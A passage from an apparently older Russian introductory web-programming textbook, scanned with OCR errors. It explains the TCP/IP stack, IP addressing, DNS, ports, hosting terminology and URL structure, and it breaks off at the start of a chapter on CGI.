Заметьте, что уже в самом начале первой главы я упомянул о том, что один протокол может использовать в своей работе другой. В мире Интернета эта ситуация является совершенно обычной. Чаще всего каждый из протоколов, участвующих в передаче данных по сети, реализуется в виде отдельного и по возможности независимого программного обеспечения или драйвера. Среди них существует некоторая иерархия, когда один протокол является всего лишь "надстройкой" над другим, тот, в свою очередь — над третьим, и т. д. до самого "низкоуровневого" драйвера, работающего уже непосредственно на физическом уровне с сетевыми картами или модемами. На рис. 1.1 приведена примерная схема того, что происходит при отправке запроса браузером пользователя на некоторый Web-сервер в Интернете. Прямоугольниками обозначены программные компоненты: драйверы протоколов и программы- абоненты (последние выделены жирным шрифтом), направление передачи данных указано стрелками. Конечно, в действительности процесс гораздо более сложен, но нам сейчас нет необходимости на этом останавливаться.

Обратите внимание, что в пределах каждой системы протоколы на схеме расположены в виде "стопки", один над другим. Такая структура обуславливает то, что часто семейство протоколов обмена данными в сети Интернет называют стеком TCP/IP (стек в переводе с английского как раз и обозначает "стопку").

Рис. 1.1. Организация обмена данными в Интернете

Каждый из протоколов в идеале "ничего не знает" о том, какой протокол "стоит над ним". Например, протокол IP (который обеспечивает несколько более простой сервис по сравнению с TCP) не использует возможности протокола TCP, a TCP, в свою очередь, "не догадывается" о существовании протокола HTTP (именно его задействует браузер и понимает Web-сервер, на схеме протокол HTTP не обозначен).

Применение такой организации позволяет заметно упростить ту часть операционной системы, которая отвечает за поддержку работы с сетью. А я тем временем прошу вас не пугаться. Нас будет интересовать в конечном итоге всего лишь протокол самого высокого уровня, "возвышающийся" над всеми остальными протоколами, т. е. HTTP и то, как он взаимодействует с протоколом TCP.

Семейство TCP/IP

Как мы уже знаем, в сети Интернет в качестве основного выбирается протокол TCP, хотя, конечно, этот выбор обусловлен скорее историческими причинами, нежели его действительными преимуществами (впрочем, преимуществ у TCP также предостаточно). Он ни в коей мере не претендует на роль низкоуровневого — наоборот, в свою работу он вовлекает другие протоколы, например, IP (в свою очередь, IP также базируется на услугах, предоставляемых некоторыми другими протоколами). Протоколы TCP и IP настолько сильно связаны, что принято объединять их в одну группу под названием семейство TCP/IP (в него включается также протокол UDP, который мы рассматривать не будем). Ниже приводятся основные особенности протокола TCP, входящего в семейство.

Корректная доставка данных до места назначения гарантируется — разумеется, если такая доставка вообще возможна. Даже если связь не вполне надежна (например, на линии помехи оттого, что в кабель попала вода, замерзшая зимой и разорвавшая оболочку провода), "потерянные" фрагменты данных посылаются снова и снова до тех пор, пока вся информация не будет передана.

П Передаваемая информация представлена в виде потока — наподобие того. как осуществляется обмен с файлами практически во всех операционных системах. Иными словами, мы можем "открыть" соединение и затем выполнять с ним те же самые операции, к каким мы привыкли при работе с файлами. Таким образом, программы на разных машинах (возможно, находящихся за тысячи километров друг от друга), подключенных к Интернету, обмениваются данными так же непринужденно, как и расположенные на одном компьютере.

TCP/IP устроен так, что он способен выбрать оптимальный путь распространения сигнала между передающей и принимающей стороной, даже ес-

ли сигнал проходит через сотни промежуточных компьютеров. В последнем случае система выбирает путь, по которому данные могут быть переданы за минимальное время, основываясь при этом на статистическую информацию работы сети и так называемые таблицы маршрутизации.

□ При передаче данные разбиваются на фрагменты — пакеты, которые и доставляются в место назначения по отдельности. Разные пакеты вполне могут следовать различными маршрутами в Интернете (особенно если их путь пролегает через десятки серверов), но для всех них гарантирована правильная "сборка" в месте назначения (в нужном порядке). Как уже упоминалось, принимающая сторона в случае обнаружения "недосдачи" пакета запрашивает передающую систему, чтобы та передала его еще раз. Все это происходит незаметно для программного обеспечения, эксплуатирующего TCP/IP.

В Web-программировании нам вряд ли придется работать с TCP/IP напрямую (разве что в очень экзотических случаях) — обычно можно использовать более высокоуровневые "языки", например, HTTP, служащий для обмена информацией между сервером и браузером. Собственно, этому протоколу посвящена значительная часть книги. Его мы рассмотрим подробно чуть позже. А пока давайте поговорим еще немного о том, что касается TCP/IP, чтобы не возвращаться к этому впоследствии.

Адресация с Сети

Машин в Интернете много, это факт. Так что вопрос о том, как можно их эффективно идентифицировать в пределах этой сети, оказывается далеко не праздным. Кроме того, практически все современные операционные системы работают в многозадачном режиме (поддерживают одновременную работу нескольких программ). Это значит, что возникает также вопрос о том, как нам идентифицировать конкретную систему или программу, желающую обмениваться данными через Сеть. Эти две задачи решаются стеком TCP/IP при помощи IP-адреса и номера порта. Давайте посмотрим, как.

( Замечание )

Все, о чем рассказано далее, не является непреложной истиной. Скорее даже наоборот. Местами может показаться, что я "ломлюсь в открытую дверь" — пытаюсь доказать существование того, что и так существует. И все-таки, на мой взгляд, чтобы понять что-то, нужно сначала проникнуться мыслью, что основы этого "что-то" довольно просты, пусть даже они и абстрактны.

IP-адрес

Любой компьютер, подключенный к Интернету и желающий обмениваться информацией со своими "сородичами", должен иметь некоторое уникальное

имя, или IP-адрес. Вот уже 30 лет (думаю, и в ближайшее десятилетие тоже) IP-адрес выглядит примерно так:

127.12.232.56

Как мы видим, это — четыре 8-разрядных числа (то есть принадлежащих диапазону от 0 до 255 включительно), соединенные точками. Не все числа допустимы в записи IP-адреса: ряд из них используется в служебных целях (например, адрес1 выделен для обращения к локальной-

той, на которой был произведен запрос, а число 255 соответствует широковещательной рассылке в пределах текущей подсети). Мы не будем здесь обсуждать эти исключения детально.

Возникает вопрос: ведь компьютеров в Интернете миллионы (а скоро будут миллиарды). Как же мы, простые пользователи, запросив IP-адрес машины, в считанные секунды с ней соединяемся? Как "оно" (и что это за узнает, где на самом деле расположен компьютер и устанавливает с ним связь, а в случае неверного адреса адекватно на это реагирует? Вопрос актуален, поскольку машина, с которой мы собираемся связаться, вполне может находиться за океаном, и путь к ней пролегает через множество промежуточных серверов.

В деталях вопрос определения пути к адресату довольно сложен. Однако достаточно нетрудно представить себе общую картину, точнее, некоторую ее модель. Предположим, что у нас есть 1 миллиард компьютеров (давайте завысимкаждый из которых напрямую соединен с(к примеру)

другими через кабели. Получается этакая паутина из кабелей, не так ли? Кстати, это объясняет, почему одна из наиболее популярных Интернета, базирующаяся на протоколе HTTP, названа WWW (World Wide Web, или Всемирная паутина).

Замечание

Следует заметать, что в реальных условиях, конечно же, компьютеры не соединяют друг с другом таким большим количеством каналов. Вместо этого применяются всевозможные внутренние таблицы, которые позволяют компьютеру "знать", где конкретно располагаются некоторые ближайшиесоседи.

То есть любая машина в Сети имеет информацию о том, через какие узлы должен пройти сигнал, чтобы достигнуть самого близкого к ней адресата — а если не обладает этими знаниями, то получает их у ближайшего "сородича" в момент загрузки операционной системы. Разумеется, размер таких таблиц ограничен и они не могут содержать маршруты до всех машин в Интернете (хотя в самом начале развития Интернета, когда компьютеров в Сети было немного, именно так и обстояло дело). Потому-то я и провожу аналогию с одиннадцатью соседями.

Итак, мы сидим за компьютером номер 1 и желаем соединиться с машиной с таким-то IP-адресом. Мы даем нашему компьютеру запрос: вы

ясни-ка у своих соседей, не знают ли они чего о somehost. Он рассылает в

одиннадцать сторон этот запрос (считаем, что это занимает 0,1 с, т. к. все происходит практически одновременно — размер запроса не настолько велик, чтобы сказалась задержка передачи данных), и ждет, что ему ответят.

Что же происходит дальше? Нетрудно догадаться. Каждый из компьютеров окружения действует по точно такому же плану. Он спрашивает у своих десятерых соседей, не слышали ли они чего о somehost. Это, в свою очередь, занимает еще 0,1 с. Что же мы имеем? Всего за 0,2 с проверено уже 11x10= = компьютеров. Но это еще не все, ведь процесс нарастает лавинообразно. Нетрудно подсчитать, что за время порядка 1 секунды мы "разбудим" 10 в десятой степени машин, т. е. в 10 раз больше, чем мы имеем!

Конечно, на самом деле процесс будет идти медленнее: какие-то системы могут быть заняты и не ответят сразу. С другой стороны, мы должны иметь механизм, который бы обеспечивал, чтобы одна машина не "опрашивалась" многократно. Но все равно, согласитесь, результаты впечатляют, даже если их и придется занизить для реальных условий хоть в 100 раз.

\ Замечание )

В действительности дело обстоит куда сложнее. Отличия от представленной схемы частично заключаются в том, что компьютеру совсем не обязательно "запрашивать" всех своих соседей — достаточно ограничиться только некоторыми из них. Для убыстрения доступа все возможные IP-адреса делятся на четыре группы — так называемые адреса подсетей классов А, В, С и D. Но для нас сейчас это не представляет никакого интереса, поэтому не будем задерживаться на деталях. О TCP/IP можно написать целые тома (что и делается).

Доменное имя

И все-таки обычным людям довольно неудобно работать с IP-представлением адреса. Действительно, куда как проще запомнить символьное имя, чем набор чисел. Чтобы облегчить простым пользователям работу с Интернетом, придумали систему DNS (Domain Name System — Служба имен доменов).

( Замечание )

Общемировая DNS представляет собой распределенную базу данных, способную преобразовать доменные имена машин в их IP-адреса. Это не так-то просто, учитывая, что скоро Интернет будет насчитывать десятки миллионов компьютеров. Поэтому мы не будем в деталях рассматривать то, как работает служба DNS, а займемся больше практической стороной вопроса.

Итак, при использовании DNS любой компьютер в Сети может иметь не только IP-адрес, но также и символическое имя. Выглядит оно примерно так: www.somehost.msu.su

To есть, это набор слов (их число произвольно), опять же соединенных точкой. Каждое такое сочетание слов называется доменом N-го уровня (напри-

мер, su — домен первого уровня,второго,

третьего и т. д.)

говоря, полное DNS-имя выглядит немного не так: в его конце обязательно стоит точка, например:

www.somehost.msu.su.

Именно такое (вообще-то, и только такое) представление является правильным, но браузеры и другие программы часто позволяют нам опускать завершающую точку. В принятой нами терминологии будем называть эту точку доменом нулевого уровня, или корневым доменом.

£Примечание

Интересно, и почему так популярна в компьютерной технике точка? В именах файлов — точка. В IP- и DNS-адресе — точка. Практически во всех языках программирования для доступа к объединениям данных — тоже точка. Существуют и другие примеры. Похоже, точка прочно въелась в наши умы, и мы уже не представляем, что бы могло ее заменить...

Нужно заметить, что одному и тому же IP-адресу вполне может соответствовать сразу несколько доменных имен. Каждое из них ведет в одно и то же место — к единственному IP-адресу. Благодаря протоколу HTTP (мы вскоре кратко рассмотрим его особенности) Web-сервер, установленный на машине и откликающийся на какой-либо запрос, способен узнать, какое доменное имя ввел пользователь, и соответствующим образом среагировать, даже если его IP-адресу соответствует несколько доменных имен. В последнее время HTTP 1.1 применяется практически повсеместно — не то, что несколько лет назад, поэтому все больше и больше серверов используют его в качестве основного протокола для доступа к Web.

Интересен также случай, когда одному и тому же DNS-имени сопоставлены несколько разных IP-адресов. В этом случае служба DNS автоматически выбирает тот из адресов, который, по ее мнению, ближе всего расположен к клиенту, или который давно не использовался, илинаименее загружен

(впрочем, последняя оценка может быть весьма и весьма субъективна). Эта возможность частокогда Web-сервер становится очень боль

шим (точнее, когда число его клиентов начинает превышать некоторый предел) и его приходится обслуживать сразу нескольким компьютерам. Такая схема используется, например, на сайте компании Netscape.

Как же ведется поиск поДля начала он преобразуется специ

альными DNS-серверами, раскиданными по всему миру, в IP-адрес. Давайте посмотрим, как это происходит. Пусть клиентом выдан запрос на определение IP-адреса машины(еще раз обратите внимание на завер

шающую точку! — это не конец предложения). Чтобы его обработать, первым делом посылается запрос к так называемому корневому домену (точнее, к программе — DNS-серверу, запущенному на этом домене), который имеет

имя(на самом деле его база данных распределена по нескольким ком

пьютерам, но для нас это сейчас несущественно). Запрос содержит команду: вернуть IP-адрес машины (точнее, IP-адрес DNS-сервера), на котором расположенао домене ru. Как только IP-адрес получен, по нему

происходит аналогичноес просьбой — определить адрес, соот

ветствующий домену host внутри домена ru внутри корневого домена

В у предпоследней машины запрашивается IP-адресwww в

домене

Важно, что каждый домен "знает" все о своиха те, в свою оче

редь — о своих, т. е. система имеет некоторую иерархичность. Корневой домен, как мы уже заметили, принято называть доменом нулевого уровня, домен ru. (в нашемпервого, host.ru. -- второго уровня, ну

и т. д. При изменении доменов некоторого уровня об этом должны узнать все домены, родительские по отношению к нему, для чего существуют специальные протоколы синхронизации. Нам сейчас нет нужды вникать, как они действуют — скажу только, что распространяются сведения об ниях не сразу, а постепенно, спустя некоторое время, задаваемое администратором DNS-сервера, и рассылкой также занимаются DNS-серверы.

Просто? Не совсем. Представьте, какое бы произошло столпотворение на корневом доменеесли бы все запросы на получение IP-адреса проходи

ли через него. Чтобы этого избежать, практически все машины в Сети кэшируют информацию о DNS-запросах,к корневому домену (и

доменам первого уровня — ru, com и т. д.) лишь изредка для обновления этого кэша. Например, пусть пользователь, подключенный через модем к провайдеру, впервые соединяется с машинойВ этом случае

будет передан запрос корневому домену, а затем, по цепочке, host и, наконец, домену www. Если же пользователь вновь обратится к то сервер провайдера сразу же вернет ему нужный IP-адрес, потому что он сохранил его в своем кэше запросов ранее. Подобная технология позволяет значительно снизить нафузку на DNS-серверы в Интернете. В то же время у нее имеются и недостатки, главный из которых — вероятность получения ложных данных, например, в случае, если хост

только что отключился или сменил свой IP-адрес. Так как кэш обновляется сравнительно редко, мы всегда можем столкнуться с такой ситуацией.

Конечно, не обязательно, чтобы все компьютеры, имеющие различные доменные имена, были разными или даже имели уникальные IP-адреса: вполне возможна ситуация, когда на одной и той же машине на одном и том же IP-адресе располагаются сразу несколько доменных имен.

( Замечание)

Здесь и далее я иногда буду подразумевать, что одной машине в Сети всегда соответствует уникальный IP-адрес, и наоборот, для каждого IP-адреса существует своя машина, хотя это, разумеется, не так. Просто так получится немного короче.

Порт

Итак, мы ответили на первый поставленный вопрос — как адресовать отдельные машины в Интернете. Теперь давайте поглядим, как нам быть с программным обеспечением, использующим Сеть для обмена данными.

До сих пор мы расценивали машины, подключенные к Интернету, как некие неделимые сущности. Так оно, в общем-то, и есть (правда, с некоторыми оговорками) с точки зрения протокола IP. Но TCP использует в своей работе несколько другие понятия. А именно, для него отдельной сущностью является процесс — программа, запущенная где-то на компьютере в Интернете. Именно между процессами, а не между машинами, и осуществляется обмен данными в терминах протокола TCP. Мы уже знаем, как идентифицируются отдельные компьютеры в Сети. Осталось рассмотреть, как же TCP определяет тот процесс, которому нужно доставить данные.

Пусть на некоторой системе выполняется программа (назовем ее Клиент), которая хочет через Интернет соединиться с какой-то другой программой (Сервером) на другой машине в Сети. Для этого должен выполняться ряд условий, а именно:

программы должны "договориться" о том, как они будут друг друга идентифицировать;

программа Сервер должна находиться в режиме ожидания, что сейчас к ней кто-то подключится;

Давайте остановимся на первом пункте чуть подробнее. Термин "договориться" тут не совсем уместен (примерно так же милиция "договаривается" с только что задержанным бандитом о помещении его в тюрьму). На самом деле программа Сервер, как только она запускается, говорит драйверу TCP, что она собирается использовать для обмена данными с Клиентами некоторый идентификатор, или порт, целое число в диапазоне от 0 до 65 535 (именно такие числа могут храниться в ячейке памяти размером в 2 байта). TCP регистрирует это в своих внутренних таблицах — разумеется, только в том случае, если какая-нибудь другая программа уже не "заняла" нужный нам порт (в последнем случае происходит ошибка). Затем Сервер переходит в режим ожидания поступления запросов, приходящих на этот порт.Этоозначает,чтолюбойКлиент,которыйсобираетсявступитьв

"диалог" с Сервером, должен знать номер его порта. В противном случае TCP-соединение невозможно: куда передавать данные, если не знаешь, к кому подключиться?

Теперь посмотрим, какие действия предпринимает Клиент. Он, как мы условились, знает следующее:

IP-адрес машины, на которой запущен Сервер;

номер порта, который использует Сервер.

Как видим, этой информации вполне достаточно, поэтому Клиент посылает драйверу TCP команду на соединение с машиной, расположенной по заданному IP-адресу с указанием нужного номера порта. Поскольку Сервер "на том конце" готов к этому, он откликается, и соединение устанавливается.

Только что я употребил слово "откликается", подразумевая, что Сервер отправляет какое-то сообщение Клиенту о том, что он готов к обмену данными. Но вспомним, что для TCP существует только два понятия для идентификации процесса: адрес и порт. Так куда же направлять "отклик" Сервера? Очевидно, последний должен каким-то образом узнать, какой порт будет использовать Клиент для приема сообщений от него (ведь мы знаем, что принимать данные можно, только зарезервировав для этого у TCP номер порта). Эту информацию ему как раз и предоставляет драйвер TCP на машине Клиента, который непосредственно перед установкой соединения выбирает незанятый порт из списка свободных на данный момент портов на клиентском компьютере и "присваивает" его процессу Клиент. Затем драйвер информирует о номере порта Сервер в первом же сообщении о желании установить соединение. Собственно, это и составляет смысл такого сообщения.

Как только обмен "приветственными" сообщениями закончен (его еще называют "тройным рукопожатием", потому что в общей сложности посылается 3 таких сообщения), между Клиентом и Сервером устанавливается логический канал связи. Программы могут использовать его, как обычный канал Unix (это напоминает случай файла, открытого на чтение и запись одновременно). Иными словами, Клиент может передать данные Серверу, записав их с помощью системной функции в канал, а Сервер — принять их, прочитав из канала. Впрочем, мы вернемся к этому процессу ближе к концу книги, когда будем рассматривать функцию PHP fsockopen () ■

Терминология

Далее в этой книге я буду часто применять некоторые термины, связанные с "сущностями" в сети Интернет. Чтобы не было разногласий, сразу условимся, что я буду понимать под конкретными понятиями. Перечисляю их в том порядке, в котором, на мой взгляд, они идут по логике вещей, чтобы ни одно предыдущее слово не "цеплялось" за следующее. Это — порядок "от простого к сложному". Собственно, именно по этому принципу построена вся книга, которую вы держите в руках.

Сервер

Сервер — любой отдельно взятый компьютер в Интернете, который позволяет другим машинам, грубо говоря, использовать себя в качестве "посредника" при передаче данных. Также все серверы участвуют в вышеописанной "лавине" поиска компьютера по ее IP-адресу, на многих хранится какая-то

информация, доступная или нет извне. Сервер -• это именно машина ("железо"), а не логическая часть Сети, он может иметь несколько различных IP-адресов (не говоря уже о доменных именах), так что вполне может выглядеть из Интернета как несколько независимых систем.

Только что я сказал, что сервер — это "железо". Пожалуй, это слишком механистический подход. Мы можем придерживаться и другой точки зрения, тоже в некоторой степени правильной. Отличительной чертой сервера является то, что он использует один-единственный стек TCP/IP, т. е. на нем запущено только по одному "экземпляру" драйверов протоколов. Пожалуй, это будет даже правильнее, хотя в настоящее время оба определения почти эквивалентны (просто современный компьютер не настолько мощен, чтобы на нем могли бы функционировать одновременно две операционные системы, а следовательно, и несколько стеков TCP/IP). Посмотрим, как будет с этим обстоять дело в будущем.

У термина "сервер" есть и еще одно, совершенно другое, определение — это программа (в терминологии, TCP — процесс), обрабатывающая запросы клиентов. Например, приложение, обслуживающее пользователей WWW, называется Web-сервером. Как правило, из контекста будет ясно, что конкретно имеется в виду. Все же, чтобы не путаться, иногда я такие программы буду называть сетевыми демонами.

Узел

Любой компьютер, подключенный к Интернету, имеет свой уникальный IP- адрес. Нет адреса - нет узла. Узел - совсем не обязательно сервер (типичный пример — клиент, подключенный через модем к провайдеру). Вообще, мы можем дать такое определение: любая сущность, имеющая уникальный IP-адрес в Интернете, называется узлом. С этой (логической) точки зрения Интернет можно рассматривать, как множество узлов, каждый из которых потенциально может связаться с любым другим. Заметьте, что на одной системе может быть расположено сразу несколько узлов, если она имеет несколько IP-адресов. Например, один узел может заниматься только доставкой и рассылкой почты, второй — исключительно обслуживанием WWW, а на третьем работает DNS-сервер.

Помните, мы говорили о том, что TCP использует термин "процесс", и каждый процесс для него однозначно идентифицируется IP-адресом и номером порта. Так вот, этот самый IP-адрес и есть узел.

Порт

Некоторое число, которое идентифицирует программу, желающую принимать данные из Интернета. Таким образом, порт — вторая составляющая адресации TCP. Любая программа, стремящаяся передать данные другой,

должна знать номер порта, который закреплен за последней. Например, традиционно Web-серверу выделяется порт с номером 80, поэтому, когда вы набираете какой-нибудь адрес в браузере, запрос идет именно на порт 80 указанного узла.

Сетевой демон

Сетевой демон — это программа, работающая на сервере и занимающаяся обслуживанием различных пользователей, которые могут к ней подключаться. Иными словами, сетевой демон -- это программа-сервер. Типичный пример — Web-сервер, а также FTP- и Telnet-серверы.

Примечание j

Сам термин "сетевой демон" возник на базе устоявшейся терминологии Unix. В этой системе демоном называют программу, которая постоянно работает на машине в фоновом режиме, обычно с системными привилегиями суперпользователя (то есть, эта программа может делать на машине все, что ей угодно, и не подчиняется правам доступа обычных пользователей). Демон не имеет никакой связи с терминалом (экраном и клавиатурой), поэтому не может ни принимать данные с клавиатуры, ни выводить их на экран. Вот из-за этой "бес- телесности" его и называют демоном.

Впрочем, к Web-программированию написание сетевых демонов не имеет почти никакого отношения, поскольку это — удел системного программирования. И все же скажу о них пару слов, т. к. эта область иногда довольно близко примыкает к Web-программированию. Написание сетевых демонов — дело непростое и, к тому же, обычно требует полного контроля над "железом" сервера. Фирмы, "продающие" виртуальные хосты в Интернете (хостинг-провайдеры), не позволяют этого делать из соображений безопасности, а также из-за того, что такая программа постоянно работает на компьютере и отнимает процессорное время. Поскольку у многих нет своего собственного узла в Сети (а это стоит обычно около 100-200 долларов в месяц), возможность создавать такие программы доступна далеко не всем, потому мы не будем касаться ее в этой книге.

Провайдер

Провайдер — организация, имеющая несколько модемных входов, к которым могут подключаться пользователи для доступа в Интернет. Все это обычно происходит не бесплатно (для пользователей, разумеется).

Хост

Хост — с точки зрения пользователя как будто то же, что и узел. В общем- то, эти понятия очень часто смешивают. Это обусловлено тем, что любой

узел является хостом. Но хост — совсем не обязательно отдельный узел, если это — виртуальный хост. Часто хост имеет собственное уникальное доменное имя. Иногда (обычно просто чтобы не повторяться) я буду называть хосты серверами, что, вообще говоря, совершенно не верно. Фактически, все, что отличает хост от узла — это то, что он может быть виртуальным. Итак, еще раз: любой узел — хост, но не любой хост — узел, и именно так я буду понимать хост в этой книге.

Виртуальныйхост

Это — хост, не имеющий уникального IP-адреса в Сети, но, тем не менее, доступный указанием какого-нибудь дополнительного адреса (например, его DNS-имени). В последнее время число виртуальных хостов в Интернете постоянно возрастает, что связано с повсеместным распространением протокола HTTP 1.1. С точки зрения Web-браузера (вернее, с точки зрения пользователя, который этим браузером пользуется) виртуальный хост выглядит так же, как и обычный хост — правда, его нельзя адресовать по IP-адресу. К сожалению, все еще существуют версии браузеров, не поддерживающие протокол HTTP 1.1, которые соответственно не могут быть использованы для обращения к таким ресурсам.

! Замечание )

Понятие "виртуальный хост" не ограничивается только службой Web. Многие другие сервисы имеют свои понятия о виртуальных хостах, совершенно не связанные с Web и протоколом HTTP 1.1. Сервер sendmail службы SMTP (Send Mail Transfer Protocol — Протокол передачи почты) также использует понятие "виртуальный хост", но для него это — лишь синоним главного, основного хоста, на котором запущен сервер. Например, если хост syn.com является синонимом для microsoft.com, то адрес E-mail my@syn.com на самом деле означает my@microsoft.com. Примечательно, однако, что виртуальный хост и в этом понимании не имеет уникального IP-адреса.

Хостинг-провайдер (хостер)

Организация, которая может создавать хосты (виртуальные или обычные) в Интернете и продавать их различным клиентам, обычно за определенную плату. Существует множество хостинг-провайдеров, различающихся по цене, уровню обслуживания, поддержке telnet-доступа (то есть доступа в режиме терминала к операционной системе машины) и т. д. Они могут оказывать услуги по регистрации доменного имени в Интернете, а могут и не оказывать. При написании этой книги я рассчитывал, что читатель собирается воспользоваться услугами такого хостинг-провайдера, который предоставляет возможность использования РНР (их сейчас большинство). Если вы еще не выбрали хостинг-провайдера и только начинаете осваивать Web-

программирование, не беда: во второй части книги подробно рассказано, как можно установить и настроить собственный Web-сервер на любом компьютере с установленной операционной системой Windows. (Это можно сделать даже на той самой машине, на которой будет работать браузер - ведь драйверу протокола TCP совершенно безразлично, где выполняется процесс, к которому будет осуществлено подключение, хоть даже и на том же самом компьютере.) Используя этот сервер, вы сможете немного потренироваться. Кроме того, он незаменим при отладке тех программ, которые вы в будущем планируете разместить на настоящем хосте в Интернете.

Хостинг

Те услуги, которые предоставляют клиентам хостинг-провайдеры.

Сайт

Сайт — это часть логического пространства на хосте, состоящая из одной или нескольких HTML-страниц (иногда представляемых в виде HTML- документов). Хост вполне может содержать сразу несколько сайтов, размещенных, например, в разных его каталогах. Таким образом, сайт — термин весьма условный, обозначающий некоторый логически организованный набор страниц.

HTML-доку мент

Файл, содержащий данные в формате HTML.

Страница (или HTML-страница)

Адресуемая из Интернета минимальная единица текстовой информации службы World Wide Web, которая может быть затребована у Web-сервера и отображена в браузере. Часто страница представлена отдельным HTML- документом, однако в последнее время число таких страниц постоянно сокращается — чаще они генерируются автоматически "на лету" какой-нибудь программой и тут же отсылаются клиенту. Например, гостевая книга, в который пользователь может оставить текстовое сообщение, — пример страницы, не являющейся HTML-документом в обычном смысле. Язык HTML (Hypertext Markup Language — Язык разметки гипертекста) позволяет вставлять в страницы ссылки на другие страницы. Щелкнув кнопкой мыши на поле ссылки, пользователь может переместиться к тому или иному документу. Впрочем, подразумевается, что читатель более-менее знаком с языком HTML, а потому в этой книге о нем дается минимум сведений — в основном только те, которые касаются форм.

Web-программирование

Этот термин будет представлять для нас особый интерес, потому что является темой книги, которую вы держите в руках, уважаемый читатель. Давайте же наконец проставим все точки над "i".

Только что упоминалось, что страница и HTML-документ — вещи несколько разные, а также то, что существует возможность создания страниц "на лету" при запросе пользователя. Разработка программ, которые занимаются формированием таких страниц, и есть Web-программирование. Все остальное (в том числе, администрирование серверов, разграничение доступа для пользователей и т. д.) не имеет к Web-программированию никакого отношения. Фактически, для работы Web-программиста требуется только наличие правильно сконфигурированного и работающего хостинга (возможно, купленного у хостинг-провайдера, в этом случае уж точно среда будет настроена правильно), и это все.

По большому счету эта книга посвящена именно Web-программированию, за исключением второй части и Приложений. Во второй части рассказано о том, как за минимальное время настроить "домашний" хостинг на своей собственной машине, пусть даже и не подключенной к Интернету, т. е. стать "сам себе хостером". Это не так бесполезно, как может показаться, и вскоре вы поймете, почему.

С Замечание )

Между прочим, представленная терминология довольно-таки спорная — в разных публикациях используются различные термины. Например, однажды я видел, как хостом называлась любая сущность, имеющая уникальный IP-адрес в Интернете. Лично я с этим не согласен и буду называть эту сущность узлом.

World Wide Web и URL

В наше время одной из самых популярных "служб" Интернета является World Wide Web Web или WWW (все три термина совершенно равносильны). Действительно, большинство серверов Сети поддерживают WWW и связанный с ним протокол передачи HTTP (Hypertext Transfer Protocol — Протокол передачи гипертекста). Служба привлекательна тем, что позволяет организовывать на хостах сайты — хранилища текстовой и любой другой информации, которая может быть просмотрена пользователем в интерактивном режиме.

Я думаю, каждый хоть раз в жизни набирал какой-нибудь "адрес" в браузере. Он называется URL (Universal Resource Locator -- Универсальный идентификатор ресурса) и обозначает в действительности нечто большее, нежели чем просто адрес. Для чего же нужен URL? Почему недостаточен лишь один DNS-адрес?

Ответ довольно-таки очевиден. Действительно, каждый Web-сайт обычно хранит в себе множество документов. Следовательно, нужно иметь механизм, который бы позволял пользователю ссылаться на конкретный документ внутри указанного хоста.

В общем случае URL выглядит примерно так:

http://www.somehost.com:80/path/tp/document.html

Давайте рассмотрим чуть подробнее каждую логическую часть этого URL.

Протокол

Часть URL, предваряющая имя хоста и завершающаяся двумя косыми чертами (в нашем примере http: //), указывает браузеру, какой высокоуровневый протокол нужно использовать для обмена данными с Web-сервером. Обычно это HTTP, но могут поддерживаться и другие протоколы. Например, протокол HTTPS позволяет передавать информацию в специальном зашифрованном виде, чтобы злоумышленники не могли ее перехватить, - конечно, если Web-сервер способен с ним работать. Нужно заметить, что все подобные протоколы базируются на сервисе, предоставляемом TCP, и по большей части представляют собой лишь набор текстовых команд. В следующей главе мы убедимся в этом утверждении, разбирая, как работает протокол HTTP.

Имя хоста

Следом за протоколом идет имя узла, на котором размещается запрашиваемая страница (в нашем примере — www.somehost.com). Это может быть не только доменное имя хоста, но и его IP-адрес. В последнем случае, как нетрудно заметить, мы сможем обращаться только к узлам (невиртуальным хостам), потому что лишь они однозначно идентифицируются указанием их IP-адреса.

Порт

Сразу за именем хоста через двоеточие может следовать (а может и быть опущен) номер порта. Исторически сложилось, что для протокола HTTP стандартный номер порта — 80 (или 81). Именно это значение используется браузером, если пользователь явно не указал номер порта. Как мы знаем, порт идентифицирует постоянно работающую программу на сервере (или, как ее нередко называют, сетевой демон), в частности, порт 80 связывается с Web-сервером, который и осуществляет обработку HTTP-запросов клиентов и пересылает им нужные документы. Существуют и другие демоны, например, FTP и Telnet, но к ним нельзя подключиться с помощью браузера.

Путь к странице

Наконец, мы дошли до последней части адресной строки — пути к файлу страницы (в нашем примере это /path/to/document.html). Как уже упоминалось, совершенно не обязательно, чтобы эта страница действительно присутствовала, — вполне типична ситуация, когда страницы создаются "на лету" и не представлены отдельными файлами в файловой системе сервера. Например, сайт новостей может использовать виртуальные пути типа /Y/M/N.html для отображения всех новостей за число N месяца М года Y, так что пользователь, набрав в браузере адрес наподобие http://новострой_сервер/2000/ 10/20.html, сможет прочитать новости за 20 октября 2000 года. При этом файла с именем 20.html физически нет, существует только виртуальный путь к нему, а всю работу по генерации страницы берет на себя программное обеспечение сервера (в последней части этой книги я расскажу, как такое программное обеспечение можно написать).

Есть и другой механизм обработки виртуальных путей, когда запрошенные файлы представляют собой статические объекты, но располагаются где-то в другом месте. С точки зрения программного обеспечения путь к документу отсчитывается от некоторого корневого каталога, который указывает администратор сервера. Практически все серверные программы позволяют создавать псевдонимы для физических путей. Например, если мы вводим: http://www.somehost.com/cgi-bin/something

отсюда не следует, что существует каталог cgi-bin, — это может быть лишь имя псевдонима, ссылающегося на какую-то другую каталог.

Расширение html (от HyperText Markup Language — Язык разметки гипертекста) принято давать документам со страницами Web. HTML представляет собой язык, на котором задается расположение текста, рисунков, гиперссылок и т. д. Кроме html часто встречаются и другие форматы данных: gif, jpg — для изображений, cgi, pi — для сценариев (программ, запускаемых на сервере) и т. д. Вообще говоря, сервер можно настроить таким образом, чтобы он корректно работал с любыми расширениями, например, никто не запрещает нам сконфигурировать его так, чтобы файлы с расширением htm также рассматривались как HTML-документы (что часто и делается).

■Замечание)

Браузеру совершенно все равно, какое расширение у запрошенного объекта — он ориентируется по другому признаку.

Глава 2Интерфейс CGIГлава 2Интерфейс CGI

Глава 2

Интерфейс CGI

Глава 2

Интерфейс CGI

Термин CGI (Common Gateway Interface — Общий шлюзовой интерфейс) обозначает набор соглашений, которые должны соблюдаться Web-серверами при выполнении ими различных Web-приложений. Вскоре мы расшифруем его смысл гораздо более подробно. Фактически, до недавнего времени все Web-программирование представляло собой программирование CGI-приложений. В последнее время ситуация изменилась. И хотя CGI все еще остается негласным стандартом для Web-приложений, механизм работы CGI- программ несколько обновился.

